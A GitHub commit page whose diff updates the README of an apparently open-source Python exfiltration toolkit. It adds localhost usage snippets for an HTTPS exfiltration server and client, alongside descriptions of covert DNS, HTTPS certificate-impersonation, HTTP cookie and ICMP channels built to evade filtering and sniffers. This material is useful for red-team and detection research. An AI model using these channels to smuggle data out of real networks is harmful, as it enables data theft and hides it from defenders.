Skip to content

Commit fff5952

Browse files
committed
More docs on HTTPS
1 parent 5857fca commit fff5952

File tree

1 file changed

+20
-1
lines changed

1 file changed

+20
-1
lines changed

README.md

Lines changed: 20 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,11 +21,30 @@ The release of Symantec's Regin research was the initiator of this module. It is
2121
This will allow establish of a listener on a DNS server to grab incoming DNS queries. It will then harvest them for files exfiltrated by the client. It **does not** yet allow simultaneous connections and transfers. DNS packets will look good to most listeners and *Wireshark* and *tcpdump* (which are the ones that have been tested) will show normal packet and not a 'malformed packet' or anything like that.
2222

2323
### HTTPS Replace certificate
24-
With this method you are configuring an HTTP server to impersonate the certificate. When you exfiltrate data, it will use the original server to exchange certificates with the duplicating server (port forwarding) and then, when this is complete, transmit the data with AES encryption but wraps it up as SSL Application Data as there is no real way of telling this.
24+
With this method you are configuring an HTTP server to impersonate the certificate. When you exfiltrate data, it will use the original server to exchange certificates with the duplicating server (port forwarding) and then, when this is complete, transmit the data with AES encryption but wraps it up as SSL Application Data as there is no real way of telling this.
2525

2626
### HTTP Cookie
2727
Exfiltration of files over HTTP protocol but over the Cookies field. The strong advantage of this is that the cookie field is supposed to be random noise to any listener in the middle and therefore is very difficult to filter.
2828

29+
#### Server Setup
30+
```python
31+
from pyexfil.HTTPS.https_server import HTTPSExfiltrationServer
32+
33+
server = HTTPSExfiltrationServer(host="127.0.0.1", key="123", port=443, max_connections=5, max_size=8192)
34+
server.startlistening()
35+
```
36+
37+
#### Client Setup
38+
```python
39+
from pyexfil.HTTPS.https_client import HTTPSExfiltrationClient
40+
41+
client = HTTPSExfiltrationClient(host='127.0.0.1', key="123", port=443, max_size=8192)
42+
client.sendData("ABC")
43+
client.sendData("DEFG")
44+
client.close()
45+
```
46+
47+
2948
### ICMP
3049
Uses ICMP 8 packets (echo request) to add a file payload to it. It reimplemented ICMP ping requests and some sniffers are known to capture it as malformed packets. Wireshark currently displays it as a normal packet.
3150

0 commit comments

Comments
 (0)